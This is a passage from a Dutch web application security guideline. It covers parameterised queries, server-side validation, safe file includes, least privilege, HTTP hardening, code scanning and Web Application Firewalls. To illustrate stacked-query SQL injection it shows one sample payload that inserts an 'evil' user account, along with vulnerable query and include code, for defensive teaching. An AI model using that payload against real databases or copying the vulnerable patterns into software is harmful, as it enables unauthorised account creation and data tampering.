6.2.5. Maak gebruik van geparameteriseerde queries Grofweg bestaan er twee manieren om vanuit een webapplicatie een query te genereren die gebruik maakt van invoer van gebruikers: via dynamische strings of via parameters. Bij dynamische strings plakt de ontwikkelaar een vaste string (bijvoorbeeld de start van een SELECT-statement) aan een variabele (bijvoorbeeld de inhoud van de WHERE-clause). Bij gebruik van parameters gebruikt de ontwikkelaar een vaste string waarbij alleen een vaste plek is ingeruimd voor variabelen. Stel bijvoorbeeld dat een applicatie gebruik maakt van de tabel products en deze tabel gebruikt voor het tonen van de productinformatie via de website van de organisatie op basis van een geselecteerd product-ID. Zodra een gebruiker via de website van de organisatie een product met ID 99 aanklikt, opent de browser van de gebruiker de volgende URL:

Titel

Datum


4-11-2010

Pagina

98

http://www.uuerel.nl/products/productdetails.aspx?id=99 Op basis van deze invoer moet de applicatie details over dit product opvragen uit de database. Hiertoe maakt de applicatie gebruik van de volgende query: SELECT * FROM products WHERE id = 99;

De ontwikkelaars kunnen deze query zoals eerder beschreven op twee manieren samenstellen: Via een dynamische string: $sth = $dbh->prepare(“SELECT * FROM products WHERE id = " . $productid); $sth->execute();

Via een geparameteriseerde query: $sth = $dbh->prepare(“SELECT * FROM products WHERE id = ?“); $sth->execute($productid);

Zoals uit de (Perl-gebaseerde) voorbeelden blijkt, bestaat het uitvoeren van een query uit twee stappen: prepare en execute. In de prepare stap analyseert de database de query, ontleedt de database de query syntactisch en plant de database de uitvoering van de query in. In de execute stap voert de database de query daadwerkelijk uit en geeft het het resultaat van de query terug. De prepare stap is daarom de belangrijkste stap als het gaat om beveiliging. Als een aanvaller de syntax van de query wil aanpassen, moet de aanvaller dit in de prepare stap doen. Stel bijvoorbeeld dat de aanvaller de query wil aanpassen om, naast de selectie va het product, ook een gebruikersnaam en wachtwoord te injecteren in de users tabel. De aanvaller gebruikt hiertoe de volgende invoer: 1; INSERT INTO users (username, password) VALUES (‘evil’, ‘evil’);--

Wanneer de applicatie gebruik maakt van een dynamische string ontstaat de volgende query bij het (ongevalideerd) verwerken van deze invoer: SELECT * FROM products WHERE id = 1; INSERT INTO users (username, password) VALUES (‘evil’, ‘evil’);--

In sommige gevallen kan dit ertoe leiden dat de applicatie naast het SELECT statement, ook het INSERT statement uitvoert. De functionaliteit om naast één query ook nog een andere query uit te voeren noemt men stacked queries. Microsoft SQL Server ondersteunt het uitvoeren van stacked queries, terwijl andere databases dit niet

Titel

Datum


4-11-2010

Pagina

99

ondersteunen of alleen bij gebruik van bepaalde programmeertalen. Of de invoer zoals hier beschreven succesvol is, is dan ook afhankelijk van de technologieën die voor de website gebruikt worden. Ongeacht de technologie, is het in alle gevallen mogelijk om een aanval zoals beschreven te voorkomen. Bij het gebruik van een geparameteriseerde query zal de database alleen het SELECT-statement syntactisch ontleden en inplannen voor uitvoering. Elke invoer die de ontwikkelaar daarna nog aan de query aanbiedt, gebruikt de database alleen nog als variabele voor zogenoemde placeholders (dit is bijvoorbeeld het vraagteken in eerder beschreven voorbeeld). Het is dus op dat moment niet meer mogelijk om de syntax van de query te wijzigen of om een nieuwe query toe te voegen.

6.2.6. Zorg ook voor veilige databaseprogramma’s Veel databases ondersteunen een eigen programmeertaal die het mogelijk maakt om programma’s binnen de database uit te voeren. Voorbeelden zijn PL/SQL (Oracle) en Transact-SQL (Microsoft SQL Server en Sybase). Ook voor het schrijven van ‘stored procedures’ maakt een database gebruik van deze eigen programmeertaal. Het is belangrijk om bij gebruik van dergelijke programmeertalen de adviezen uit dit hoofdstuk te verwerken. Dus maak bij het creëren van queries in stored procedures gebruik van geparameteriseerde queries (maatregel 6.2.5). Sommige handleidingen melden dat het gebruik van stored procedures de aanwezigheid van SQL-injectie kwetsbaarheden kan voorkomen, maar dit is niet per definitie het geval. Ook stored procedures kunnen kwetsbaar zijn voor SQL-injectie wanneer zij gebruikersinvoer rechtstreeks gebruiken in het definiëren van de query. ACHTERGROND Microsoft en Oracle hebben documenten gepubliceerd waarin zij beschreven hoe ontwikkelaars veilige Transact-SQL (Microsoft) en PL/SQL code (Oracle) kunnen schrijven. De documenten kunt u terugvinden op de websites van Microsoft en Oracle: •

http://msdn.microsoft.com/en-us/library/aa175398(SQL.80).aspx

•

http://www.oracle.com/technology/tech/pl_sql/pdf/how_to_write_injection_proof_plsql.pdf

6.2.7. Vertrouw alleen op server-side validatie Het uitgangspunt bij het ontwikkelen van een webapplicatie moet zijn dat de client niet te vertrouwen is. Het is mogelijk dat de gebruiker werkt vanaf een geïnfecteerde PC of dat de gebruiker een kwaadwillende is die probeert in te breken op de webapplicatie. In het laatste geval is de kans groot dat de kwaadwillende geen gebruik maakt van een browser voor het aanvallen van de webapplicatie maar van eigen tools. Eventuele beperkingen die een kwaadwillende via de webapplicatie probeert af te dwingen op

Titel

Datum


4-11-2010

Pagina

100

een client, kunnen dan ook eenvoudig worden omzeild. Denk aan het beperken van de lengte van een string die je in een veld kunt invoeren, het disablen van invoervelden of het verbergen van variabelen in hidden parameters. De vuistregel is dus om de invoer van gebruikers niet te vertrouwen en deze invoer daarom altijd te valideren. Hierbij is het belangrijk om niet te vertrouwen op enige controles aan de kant van (de PC van) de eindgebruiker, aangezien deze controles alleen als doel mogen hebben om onopzettelijke invoerfouten te voorkomen. Een applicatie moet daarom altijd vertrouwen op server-side controles.

6.2.8. Maak gebruik van beschikbare beveiligingstechnologieën De programmeertaal waarop een webapplicatie is gebaseerd, ondersteunt vaak standaard al een aantal beveiligingsmogelijkheden en –maatregelen. Het is aan te raden gebruik te maken van deze standaardfunctionaliteiten. Die vallen uiteen in het gebruiken van standaard functionaliteiten van de programmeertaal en het correct configureren van opties op de server. Voorbeelden van beveiligingstechnologieën die programmeertalen standaard ondersteunen zijn Perl’s taint mode en de validateRequest functionaliteit binnen Microsoft ASP.NET. Deze technologieën kunnen helpen bij het beveiligen van de applicatie, maar toepassing ervan is geen reden om andere beveiligingsmaatregelen niet te treffen.

6.2.9. Sta geen dynamische file includes toe Om RFI-aanvallen (zie §5.2.6) te voorkomen, moet een PHP-script niet gebruik maken van dynamische file includes op basis van gebruikersinvoer. Mocht men toch op basis van keuzes van de gebruiker bestanden willen inlezen in het PHP-script, dan is het van belang om dit veilig af te handelen. Het voorbeeld in hoofdstuk 5 beschreef een onveilige manier om dynamisch bestanden te includen in PHP: include ($language . ".php"); Een veiliger alternatief voor bovenstaande include is hieronder weergegeven:

Titel

Datum


4-11-2010

Pagina

101

switch ($language) { case "en": include ("en.php"); break; case "nl": include ("nl.php"); break; case "de": include ("de.php"); break; default: include ("en.php"); break; } Door bovenstaand alternatief voor file includes te gebruiken, voorkom je dat de eindgebruiker directe invloed heeft op het bestand dat het script zal gebruiken. In feite pas je via het alternatieve script een vorm van whitelisting toe waarbij alleen bekende talen (in dit geval en, nl en de) zijn toegestaan. Probeert een kwaadwillende de language variabele te manipuleren, dan zal deze in alle gevallen de standaardtaal (default = en) te zien krijgen.

6.3. Configuratiemaatregelen De verantwoordelijkheid voor de maatregelen uit de vorige paragraaf ligt voornamelijk bij de ontwikkelaars van de webapplicatie. Beheerders van een webomgeving spelen echter ook een belangrijke rol in de beveiliging van een webapplicatie. Zij kunnen via strikte configuraties de kans op misbruik van en schade door kwetsbaarheden een stuk verkleinen. Deze paragraaf beschrijft de configuratiemaatregelen die beheerders in een webomgeving kunnen nemen om het risico van misbruik te verminderen.

6.3.1. Maak gebruik van accounts met beperkte privileges Een webapplicatie maakt vaak direct of indirect gebruik van een groot aantal verschillende accounts op een systeem. Door aan de webapplicatie accounts toe te wijzen met beperkte rechten, verlaag je de schade die een aanval kan toebrengen. In veel ontwikkeltrajecten maakt een organisatie in eerste instantie gebruik van accounts die geen beperkingen in rechten kennen. De ontwikkelaar gebruikt dan een dbaaccount om een verbinding op te zetten tussen de webapplicatie en de database. Helaas wordt vaak vergeten om dit in een later stadium om te zetten naar een account met beperkte rechten, waardoor een aanval als SQL-injectie grote gevolgen zal

Titel

Datum


4-11-2010

Pagina

102

hebben. Daarom is het aan te raden om al vanaf het begin van het ontwikkeltraject gebruik te maken van accounts met zeer beperkte rechten, om vervolgens tijdens het traject de rechten toe te voegen die het account daadwerkelijk nodig heeft. Bij het inperken van rechten van accounts moet je bij webapplicaties denken aan de volgende typen accounts: •

Accounts voor het opzetten van verbindingen tussen de webapplicatie en applicaties op de datalaag zoals databases en LDAP-stores. Hiermee beperk je de mogelijke schade van injectieaanvallen (SQL-injectie, LDAP-injectie).

•

Accounts waaronder de webserver, de databaseserver en de applicatieserver draaien. Hiermee beperk je de schade van buffer overflows en injectieaanvallen.

•

Accounts voor toegang tot het bestandssysteem. Vaak gebruikt een webapplicatie voor toegang tot het bestandssysteem het account waaronder de webapplicatie draait. Het is daarom verstandig om op bestandsniveau de rechten van dit account te beperken waardoor dit account bijvoorbeeld niet de mogelijkheid heeft om nieuwe bestanden aan te maken.

•

Accounts voor toegang tot het internet als de webapplicatie zelf verbindingen opzet met andere webapplicaties via een reguliere proxy (in plaats van een rechtstreekse verbinding vanaf de webapplicatie naar het internet).

6.3.2. Voorkom het lekken van informatie Het lekken van informatie moet men zoveel mogelijk voorkomen. De volgende aanbevelingen beschrijven de belangrijkste manieren waarop de applicatie dit kan voorkomen: •

Gebruik alleen standaard HTTP-headers. Alleen headers die voor het functioneren van HTTP van belang zijn, moeten opgenomen worden in de HTTP-antwoorden aan gebruikers (RFC 2616 voor HTTP/1.1, RFC 1945 voor HTTP/1.0). Alle overige HTTP-headers kan de applicatie in de regel zonder gevolgen uit een HTTPantwoord verwijderen 26. Hoe HTTP-headers uit antwoorden kunnen worden verwijderd, is afhankelijk van het gebruikte type webserver. Zo kent Apache

26

Enige voorzichtigheid is geboden bij specifieke toepassingen die op basis van HTTP communiceren. Zo kan een Oracle Forms oplossing bijvoorbeeld gebruik maken van de ifSession header voor het beëindigen van een sessie. Dit is een niet-standaard HTTP header die bij een Oralce Forms oplossing niet zonder gevolgen kan worden verwijderd.

Titel

Datum


4-11-2010

Pagina

103

bijvoorbeeld de module mod_headers die dit mogelijk maakt 27. •

Beperk informatie in de standaard HTTP-headers. Het is voor een client bijvoorbeeld niet van belang om te weten welk type webserver antwoord heeft gegeven op het HTTP-verzoek. Daarom kun je ervoor kiezen om de ‘Server’header uit het antwoord te verwijderen of deze te voorzien van een nietszeggende inhoud als ‘Server: WebServer 1.0’.

•

Geef geen gedetailleerde foutmeldingen. Op het moment dat er zich een probleem voordoet binnen een webapplicatie zal de webserver veelal een statuscode ‘500 Internal Server Error’ retourneren. Deze statuscode wijst erop dat er zich een exceptie heeft voorgedaan en dat de webserver mogelijk gevoelige informatie over de applicatielogica openbaart (databasenamen, gebruikersnamen, bestandsnamen, interne IP-adressen, etcetera). Een application-level firewall zou een dergelijke statuscode kunnen detecteren en een standaard foutmelding (bijvoorbeeld ‘Er heeft zich een onbekende fout voorgedaan.’) terugsturen naar de client en het gedetailleerde antwoord van de webserver negeren. Ook webservers zelf bieden functionaliteit om standaard meldingen te laten genereren aan de hand van specifieke statuscodes. OPMERKING HTTP kent een groot aantal verschillende codes. Bij elke webapplicatie moet je je afvragen welke codes legitiem voor deze webapplicatie zijn en welke niet. Zo kunnen ook codes als ‘501 Not Implemented’, ‘405 Method Not Allowed’ en ‘414 Request-URI Too Long’ ongewenst zijn en de kwaadwillende helpen bij het footprinten van de applicatie. Bedenk goed hoe de webapplicatie met deze verschillende codes om moet gaan en welk antwoord de webapplicatie (of de application-level firewall) in een dergelijk geval moet retourneren aan de eindgebruiker.

•

27

Verwijder commentaarregels uit scripts. Voordat je code vanuit een acceptatie- of testomgeving in productie plaatst, moet eerst een scan uitgevoerd worden op de aanwezigheid van commentaarregels in scripts. Dit is veelal vrij eenvoudig te realiseren omdat commentaarregels starten met herkenbare karakters (bijvoorbeeld ‘//’). Application-level firewalls zijn in staat om commentaarregels uit HTML- en scriptcode te verwijderen en zodoende ‘gefilterde’ antwoorden terug te geven aan de client.

http://httpd.apache.org/docs/2.0/mod/mod_headers.html

Titel

Datum


4-11-2010

Pagina

104

6.3.3. Sta alleen benodigde HTTP-methoden toe HTTP ondersteunt verschillende methoden (zie tabel 6-1). In de praktijk gebruikt een webapplicatie alleen de methoden GET en POST. Voor veel scripts en objecten op een webserver geldt zelfs dat alleen de GET-methode nodig is. Methoden anders dan GET en POST zijn vrijwel nooit nodig binnen traditionele webapplicaties en vormen alleen een extra beveiligingsrisico. Voor ‘Web 2.0’ zijn vaak wel aanvullende methoden nodig. Het is in alle gevallen aan te raden om niet benodigde methoden via configuratie van de webserver of via de application-level firewall blokkeren.

Methode

Omschrijving

CONNECT

Een methode die aangeeft dat een tussenliggende proxy het verzoek

DELETE

Verwijderen van het object op de webserver onder de gedefinieerde

niet mag aanpassen c.q. onderzoeken en simpelweg moet doorsturen. URL. GET

Aanroepen (uitvoeren) van het object.

HEAD

Idem aan GET met het verschil dat bij HEAD de webserver niet de body van het bericht retourneert.

OPTIONS

Biedt de mogelijkheid om te achterhalen welke HTTP-methoden een specifiek object ondersteunt

POST

Versturen van gegevens richting de webserver om verwerkt te worden door het object.

PUT

Plaatsen van een nieuw object op de webserver onder de gedefinieerde URL.

TRACE

Bedoeld om te zien hoe het HTTP-verzoek terecht komt op de webserver en daarom vooral geschikt voor het uitvoeren testen en het verkrijgen van diagnostische informatie.

Tabel 6-1: overzicht HTTP-methoden (RFC 2616)

Titel

Datum


4-11-2010

Pagina

105

VOORBEELD Veel webservers bieden de mogelijkheid om alleen selectief HTTP-methoden toe te staan. Lotus Domino, een webserver van IBM, biedt deze mogelijkheid ook. In onderstaande afbeelding is een Lotus Domino website te zien die alleen de methoden GET, HEAD, POST, OPTIONS en TRACE toestaat. Voor meer informatie over het configureren van deze methoden onder Lotus Domino, zie: http://www-1.ibm.com/support/docview.wss?uid=swg21201202

6.3.4. Schakel ‘directory listings’ uit Via een zogenaamde ‘directory listing’ kan een gebruiker via internet de inhoud van een directory bekijken. Het opvragen van een ‘directory listing’ via internet komt overeen met het lokaal uitvoeren van een dir-commando onder Windows of een lscommando onder UNIX/Linux. Zodra een webserver de mogelijkheid biedt om ‘directory listings’ uit te voeren, bestaat de mogelijkheid dat een kwaadwillende de inhoud van ‘vertrouwelijke’ directories raadpleegt (zoals de ‘/etc/’-directory onder UNIX/Linux-systemen). De toegang tot bestanden in directories moet altijd verlopen via de webapplicatie: de webapplicatie bepaalt absolute paden voor bestanden die de gebruiker rechtstreeks mag benaderen (bijvoorbeeld afbeeldingen) en fungeert als medium voor bestanden die de gebruiker niet rechtstreeks mag benaderen (bijvoorbeeld gegevensbestanden). Figuur 6-3 geeft dit principe weer.

Titel

Datum


4-11-2010

Pagina

106

Figuur 6-3: rechtstreekse en indirecte toegang tot bestanden

In figuur 6-3 bevat het bestandssysteem twee typen bestanden: direct te benaderen en niet direct te benaderen bestanden. Voor plaatjes en dergelijke verwijst de webapplicatie naar het rechtstreekse pad, bijvoorbeeld http://www.uuerel.nl/images/1.gif. Als een client een dergelijke link volgt, handelt de webserver (HTTP daemon) dit verzoek af en verstuurt het plaatje naar de gebruiker, zonder verdere tussenkomst van de webapplicatie. Voor bestanden die gebruikers niet direct mogen benaderen (omdat ze bijvoorbeeld deels gevoelige informatie bevatten), stuurt de webapplicatie een link als http://www.uuerel.nl/showfile.aspx?id=20. De webapplicatie ‘vertaalt’ het ID uit de link naar een bestandsnaam, waarna de webapplicatie het bestand zelf opent en een antwoord verstuurt naar de gebruiker. De webapplicatie houdt hierbij altijd de controle over de zaken die de gebruiker uit het bestand te zien krijgt.

6.3.5. Overweeg de invoering van een Web Application Firewall Een Web Application Firewall (WAF) heeft kennis van specifieke webgebaseerde protocollen zoals het HTTP-protocol, waardoor deze in staat is om aanvallen op webapplicatieniveau te detecteren en te blokkeren. Daarnaast is ook kennis van de payloads van HTTP-berichten (XML in het geval van webservices) van belang. Een WAF kan beveiliging bieden tegen zowel bekende als niet-bekende aanvallen die gericht zijn op webapplicaties. Hoofdstuk 7 is volledig gewijd aan Web Application Firewalls.

Titel

Datum


4-11-2010

Pagina

107

6.4. Procedurele maatregelen Naast de puur technische maatregelen uit de voorgaande sectie bestaat er ook een aantal maatregelen dat vooral procedureel van aard is, ook al maak je bij de invulling ervan gebruik van technische hulpmiddelen. Het gaat hierbij om het inrichten van een solide updatemechanisme en het reviewen en scannen van code met als doel kwetsbaarheden in een vroeg stadium op te kunnen sporen.

6.4.1. Richt een solide updatemechanisme in Een solide updatemechanisme is essentieel om voldoende beschermd te zijn tegen bekende beveiligingsproblemen in software. Deze aanbeveling vond u eerder al terug in hoofdstuk 4 (§4.3.2). Een updatemechanisme voor alle applicatieplatformen, applicaties, databases, etcetera die bovenop dit platform draaien is minstens zo belangrijk. Zorg er daarom voor dat de verschillende stappen uit patchmanagement (vaststellen, beoordelen, verkrijgen, testen, uitrollen, monitoren en evalueren) ook zijn ingeregeld voor dit soort applicaties.

6.4.2. Voer een (geautomatiseerde) code review uit Bij een code review scant een persoon (anders dan de ontwikkelaar) of een programma de programmacode op mogelijke kwetsbaarheden. Deze aanpak, ook wel een whitebox scan of statische analyse genoemd, kan problemen aan het licht brengen die men via een blackbox scan niet zal ontdekken (zie ook §6.4.3). Beter nog is het om de code review in verschillende stadia van het ontwikkelproces uit te voeren om op die manier fouten in een vroeg stadium en dus vaak gemakkelijker, te kunnen verhelpen. Een code review vergt over het algemeen meer inspanning dan een blackbox scan. Tools voor het uitvoeren van geautomatiseerde code reviews bestaan er in vele soorten en maten, van opensourcesoftware tot prijzige commerciële toepassingen. Onderstaande - niet uitputtende - lijst geeft enkele punten weer waarop een geautomatiseerde tool kan controleren: • • • • • •

Het afvangen van excepties. De mogelijkheid tot het genereren van buffer overflows. De aanwezigheid van type mismatches. Gebruik van potentieel gevaarlijke functies. Juiste toepassing van invoervalidatie. Datastromen door een webapplicatie.

Titel

Datum


4-11-2010

Pagina

108

VOORBEELDEN Er is een groot aantal open source en commerciële pakketten beschikbaar dat een geautomatiseerde code review kan uitvoeren. Onderstaande tabel geeft enkele voorbeelden van deze toepassingen. PHP

Java

JScript

ASP

Microsoft CAT.NET Armorize CodeSecure Coverity Fortify SCA Microsoft Source Code Analyzer for SQL Injection OunceLabs PHPLint Pixy Yet Another Soure Code Analyzer (YASCA)

.NET

C#

6.4.3. Voer een geautomatiseerde blackbox scan uit Een blackbox scan benadert de aanpak van een kwaadwillende het best, aangezien een tester zonder voorkennis gaat kijken of er kwetsbaarheden in de applicatie bestaan. Tools om blackbox scans uit te voeren zijn bekend onder de noemer Web Application Scanner (WAS). Een WAS voert een groot aantal tests uit op een webapplicatie zoals het uitproberen van verschillende varianten van SQL-injectie en XSS. Net als voor het uitvoeren van geautomatiseerde code reviews, bestaat ook voor het uitvoeren van blackbox scans een groot aantal verschillende tools. Naast opensourcesoftware zoals Ratproxy, Skipfish, W3af en Nikto, bestaan er ook commerciële tools zoals Cenzic Hailstorm, Acunetix en HP WebInspect. Welke tool je kiest, is vooral afhankelijk van de wensen en het beschikbare budget. Een WAS kent enkele beperkingen die belangrijk zijn om in het achterhoofd te houden. Zo is het voor een WAS vaak moeilijk om ingelogd te blijven in applicaties die authenticatie vereisen. Door de grote verscheidenheid aan tests die een WAS uitvoert, bestaat de mogelijkheid dat de webapplicatie na een aantal tests de sessie beëindigt. Het is voor een WAS vaak moeilijk om te bepalen dat deze sessie is beëindigd en een cookie bijvoorbeeld niet meer geldig is. Gevolg is dat het testen van websites die authenticatie vereisen problematisch en onbetrouwbaar kan zijn. Daarnaast kunnen sterk dynamische websites voor uitdagingen zorgen. Zo zal een WAS JavaScript moeten begrijpen om effectieve tests uit te kunnen voeren. In het bijzonder nieuwe technologieën als Ajax kunnen in dit kader moeilijk testbaar zijn.

Titel

Datum


4-11-2010

Pagina

109

Tot slot kunnen de scans die een WAS uitvoert, leiden tot een groot aantal false positives. Het is dus belangrijk dat een persoon met kennis van zaken beoordeelt in hoeverre een gemelde kwetsbaarheid ook daadwerkelijk een kwetsbaarheid is, hoe eenvoudig deze uit te buiten is en wat de schade zou zijn als gevolg van misbruik.

6.5. Overige aandachtspunten Dit hoofdstuk sluit af met een overzicht van aandachtspunten die niet zozeer maatregelen betreffen maar toch belangrijk zijn om bij het nemen van maatregelen in het achterhoofd te houden.

6.5.1. Besef dat aanvallers zwakke plekken zullen ontdekken Kwaadwillenden zullen zwakke plekken (kwetsbaarheden) in een webapplicatie vroeg of laat ontdekken. Besef dat het verbergen van bepaalde functionaliteiten of parameters in een webapplicatie ondoenlijk is: security through obscurity werkt ook bij een webapplicatie niet. Als ontwikkelaar is het daarom belangrijk de volgende zaken in het achterhoofd te houden: •

• •

• •

Een aanvaller zal in de regel geen gebruik maken van een browser maar van eigen scripts of andere tools. Beperkingen die een browser oplegt zijn in dit geval nutteloos. Een aanvaller kan POST-parameters gemakkelijk ontdekken en manipuleren, ook al zijn ze niet direct zichtbaar in een browser. Ditzelfde geldt voor hidden parameters en cookies: deze zijn niet direct zichtbaar voor een reguliere eindgebruiker, maar eenvoudig te ontdekken en te manipuleren door een kwaadwillende. Client-side invoervalidatie kan een reguliere eindgebruiker helpen bij het correct invullen van informatie, maar kan nooit dienen als beveiligingsmaatregel. Als bepaalde invoervelden in een browserscherm disabled zijn, betekent dit niet dat een aanvaller ze niet kan aanpassen.

6.5.2. Pas alle maatregelen op alle applicaties toe Zorg ervoor dat alle voorgaande maatregelen worden toegepast op alle in gebruik zijnde webapplicaties binnen de organisatie. De maatregelen moeten dus, waar mogelijk, van toepassing zijn op zowel intern ontwikkelde applicaties als extern ontwikkelde applicaties. Ook is het van belang dat ontwikkelaars maatregelen consequent door de hele webapplicatie doorvoeren. Bevat een webapplicatie bijvoorbeeld één query op basis

Titel

Datum


4-11-2010

Pagina

110

van dynamische strings, dan bestaat al direct de mogelijkheid tot SQL-injectie. Dit ondanks het feit dat bijvoorbeeld alle 500 andere queries gebruik maken van geparameteriseerde queries.

6.5.3. Leid ontwikkelaars op in veilig programmeren Veel kwetsbaarheden in webapplicaties kun je voorkomen door ontwikkelaars bewust te maken van de kwetsbaarheden die zij in hun code kunnen introduceren en van de impact die dergelijke kwetsbaarheden kunnen hebben. Ontwikkelaars moeten beseffen dat beveiliging een essentieel onderdeel uitmaakt van programmeren. Michael Howard omschreef het in het artikel ‘8 Simple Rules For Developing More Secure Code’ als volgt: “So take pride in your code. You must be happy with the quality of your code and be able to sleep at night knowing that if it's attacked, you've done everything possible to prevent the code from being whacked.” Michael Howard - http://msdn.microsoft.com/en-us/magazine/cc163518.aspx

De opleiding van ontwikkelaars moet aan de ene kant technische handvatten geven en aan de andere kant bewustzijn kweken op het gebied van de gevolgen die kwetsbaarheden in webapplicaties kunnen hebben. Om ervoor te zorgen dat veilig programmeren ook met de instroom van nieuwe ontwikkelaars geborgd wordt, is het aan te raden om beveiligingsbewustzijn en praktische kennis van veilige code een standaard onderdeel uit te laten maken van de selectieprocedure voor ontwikkelaars.

Titel

Datum


4-11-2010

Pagina

111

7.

Applicatiebeveiliging – Web Application Firewalls

Een Web Application Firewall (WAF) opereert op applicatieniveau en kan alle verzoeken aan een webapplicatie valideren en eventueel gevaarlijke verzoeken blokkeren. Een WAF kan een goede aanvulling vormen op de bestaande beveiligingsmaatregelen in een webomgeving, maar kan zeker niet als vervanging van deze maatregelen worden gezien. Dit hoofdstuk gaat in op de techniek achter een WAF, de functionaliteiten die een WAF kan bieden, de manier waarop een WAF kan worden ingepast in de webinfrastructuur en de aandachtspunten bij de introductie van een WAF.

7.1. Inleiding Voor componenten die webapplicaties beveiligen op applicatieniveau, is de term Web Application Firewall (WAF) het meest gangbaar. Echter, leveranciers van deze producten maken soms ook gebruik van andere termen als Application-level Firewall, Application-level Security Gateway, Web Application Proxy, Web Application Shield en Web Intrusion Prevention System. Deze whitepaper schaart alle producten die voldoen aan de volgende voorwaarden onder de term WAF: • •

De component is in staat om uitgebreide controles uit te voeren op HTTP-verkeer, XML-content en HTML-content. De component is in staat om malafide verkeer inline te blokken (intrusion prevention).

Dit betekent dat componenten die malafide verkeer alleen kunnen detecteren (intrusion detection) in deze whitepaper niet onder de noemer WAF vallen.

7.2. Techniek Een WAF controleert het verkeer tussen een client en een webserver op HTTP-niveau. Een WAF heeft kennis van het HTTP-protocol en kan op basis van de standaard en zelf gedefinieerde regels, bepalen of verkeer naar een webserver valide is. Op het moment dat de WAF verkeer ziet dat afwijkt van wat is toegestaan, kan deze het verkeer op HTTP-niveau blokkeren. In termen van het OSI-model kijkt de WAF op applicatieniveau (OSI-laag 7) naar het verkeer. Dit in tegenstelling tot traditionele netwerk firewalls die het verkeer inspecteren op transport- en netwerkniveau (OSIlagen 3 en 4). Een weergave hiervan is te zien in figuur 7-1.

Titel

Datum


4-11-2010

Pagina

112

Figuur 7-1: een WAF als reverse proxy

In figuur 7-1 is de WAF weergegeven als een losstaand component tussen de client en de webserver. Bij een dergelijke oplossing fungeert de WAF als een reverse proxy waarbij het verkeer binnen de WAF alle OSI-lagen doorloopt. Dit betekent dat de WAF als reverse proxy ook moet fungeren als een TLS/SSL-eindpunt (presentatielaag) om inzicht te kunnen krijgen in het HTTP-verzoek. Een alternatieve implementatie van een WAF is als onderdeel van een webserver. In een dergelijk geval functioneert de WAF als aanvulling op een standaard webserver. Dit kan bijvoorbeeld een ISAPI-filter (Microsoft IIS) of een loadable module (Apache) zijn. Figuur 7-2 illustreert de situatie waarbij gebruik gemaakt wordt van een embedded WAF.

Figuur 7-2: een WAF als embedded component

Aangezien de WAF als embedded component logisch gezien boven de presentatielaag functioneert, hoeft de WAF zich niet bezig te houden met TLS/SSL versleuteling en ontsleuteling op de presentatielaag.

Titel

Datum


4-11-2010

Pagina

113

Een aantal overwegingen voor de keuze voor een reverse proxy oplossing of embedded oplossing is terug te vinden in tabel 7-1.

Performance

Reverse proxy (RP)

Embedded

Een RP bedient vaak meerdere

De installatie van een extra component

websites. De RP kan daardoor zwaar

op de bestaande webserver legt een

belast worden, wat mogelijk leidt tot

extra claim op de resources van de

performanceproblemen (potentiële

webserver.

bottleneck). Infrastructuur

Plaatsing van een RP binnen een

Gebruik van een embedded WAF leidt

bestaande infrastructuur vereist zowel

niet tot infrastructurele of logische

logische als fysieke wijzigingen binnen

wijzigingen. Er dient alleen een extra

deze infrastructuur.

component op de webserver te worden geïnstalleerd.

Beschikbaarheid

De RP is een Single Point-of-Failure

Falen van de WAF leidt alleen tot het

voor alle websites die het bedient,

niet beschikbaar zijn van de websites

indien geen aanvullende technische

die op de specifieke server actief zijn.

maatregelen worden genomen (bijvoorbeeld load balancing). Uitval van een enkelvoudig uitgevoerde RP leidt in dit geval automatisch tot uitval van alle achterliggende websites. Ondersteuning

De RP functioneert onafhankelijk van

Om een embedded WAF te kunnen

webservers

de achterliggende webserver.

gebruiken, moet een versie

Inpassing is dus altijd mogelijk,

beschikbaar zijn voor het type en

onafhankelijk van de gebruikte typen

versie webserver dat men gebruikt.

en versies webservers. Beheer Authenticatie

De RP is centraal geplaatst. Dit maakt

Door de decentrale plaatsing van alle

beheer eenvoudig.

WAF’s is beheer complexer.

Wanneer de RP authenticatie uitvoert,

Authenticatie vindt plaats op de

moet dit op één of andere manier

webserver zelf.

worden doorgecommuniceerd aan de achterliggende webserver(s). Beschikbare

Zowel leverbaar als losstaande

Alleen leverbaar als

typen

softwarecomponent en als appliance.

softwarecomponent.

Tabel 7-1: reverse proxy WAF versus embedded WAF

Naast de keuze voor een embedded WAF of reverse proxy WAF is het ook belangrijk om te kijken naar de beveiligingsmodellen die de WAF ondersteunt. Grofweg wordt een een positief en een negatief beveiligingsmodel onderscheiden.

Titel

Datum


4-11-2010

Pagina

114

Een positief beveiligingsmodel is een beveiligingsmodel waarbij de WAF alle verzoeken blokkeert, tenzij expliciet toegestaan. Bij een negatief beveiligingsmodel laat de WAF alle verzoeken door, tenzij expliciet verboden. Een positief beveiligingsmodel krijgt vanuit het oogpunt van beveiliging de voorkeur boven een negatief beveiligingsmodel. Een positief beveiligingsmodel werkt met een whitelist die patronen beschrijft waar een HTTP-verzoek aan moet voldoen. De WAF blokkeert alle verzoeken die niet aan deze patronen voldoen. Op deze manier is de kans klein dat kwaadwillenden nieuwe – onbekende – kwetsbaarheden kunnen uitbuiten. Een negatief beveiligingsmodel werkt op basis van aanvalspatronen (handtekeningen van kwaadaardige verzoeken, blacklists). Alleen als een verzoek matcht met een aanvalspatroon, zal de WAF dit verzoek blokkeren. Dit betekent in de praktijk dat de WAF alleen bekende aanvallen op de webapplicatie zal blokkeren. Veel WAF-implementaties kennen een positief beveiligingsmodel en bieden de mogelijkheid om verzoeken die op basis van het positieve beveiligingsmodel zijn toegestaan, als laatste controle ook nog eens tegen de verzameling van aanvalspatronen te houden (negatief beveiligingsmodel). Tabel 7-2 beschrijft de verschillen tussen een positief en negatief beveiligingsbeleid op hoofdlijnen.

Werking Implementatie

Positief beveiligingbeleid

Negatief beveiligingsbeleid

Alle verkeer is verboden tenzij expliciet

Alle verkeer is toegestaan tenzij

toegestaan

expliciet verboden

Whitelists met patronen van verwacht

Blacklists met patronen van malafide

verkeer

verkeer (signatures)

Werkt op

Bekende en onbekende aanvallen

Alleen bekende aanvallen

Impact

Hoog. Bestaande webapplicaties

Laag. Bestaande webapplicaties zullen

zullen standaard niet meer werken bij

bij de inzet van een negatief

de inzet van een positief

beveiligingsbeleid veelal zonder

beveiligingsbeleid. Diepgaande

problemen blijven werken.

analyse van de webapplicatie is vereist voor invoering. Niveau van

Hoog, de kans dat malafide verkeer de

Laag, de kans is aanwezig dat de WAF

beveiliging

webapplicatie bereikt is klein bij een

aanvallen op de webapplicatie niet

strikte inrichting van het beleid.

blokkeert.

Tabel 7-2: vergelijking positief en negatief beveiligingsbeleid

